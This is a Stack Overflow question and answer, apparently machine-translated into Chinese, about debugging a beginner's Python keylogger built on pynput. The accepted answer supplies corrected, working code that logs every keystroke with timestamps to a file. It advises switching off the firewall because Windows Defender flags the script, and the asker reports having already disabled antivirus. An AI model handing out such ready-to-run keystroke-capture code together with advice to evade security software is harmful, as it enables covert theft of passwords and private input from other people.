【问题标题】:My python keylogger isn't loading with SyntaxError我的 python 键盘记录器没有加载 SyntaxError
【发布时间】:2021-02-07 18:31:18
【问题描述】:

我第一次尝试制作键盘记录器,但是当我尝试运行 .pyw 文件时遇到问题,它没有显示在我的任务管理器中,也没有记录我的击键,我'已经关闭了防病毒软件,一切都无法正常工作。我是 python 新手,我把它放在 IDLE Shell 中,它说“SyntaxError:编译单个语句时发现多个语句”。有人可以帮我解决这个问题吗,是的,我已经安装了 pynput。

Error: "SyntaxError: multiple statements found while compiling a single statement"

Python 版本:3.9.1

代码:

from pynput.keyboard import Key, Listener 
import logging

log_dir = " "

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='% (asctime)s: %(message)s')

def on_press(key):
    logging.info(key)

with Listener(on_press=on_press) as Listener:
    listener.join()

【问题讨论】:

  • 不要将代码粘贴到 shell 中。创建一个新的.py Python 脚本文件。将代码粘贴到文件中,保存,然后执行。
  • Paul M,我也这样做了,但还是没用。
  • 好的。错误中是否包含任何其他信息?
  • 我是 python 新手,我不完全理解一切是什么,但主要问题是记录器不会保持打开状态
  • 不确定这是否是您的问题的原因,但不应该是with ... as listener 而不是with ... as Listener?小写 l,而不是大写 L。按照现在的写法,应该会引发NameError

标签: python helper keylogger


【解决方案1】:

这对我有用。确保您的防火墙已关闭 Windows Defender 将其检测为键盘记录器

from pynput.keyboard import Key, Listener 
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    if key == Key.esc:
        listener.stop()
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2023-03-07
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多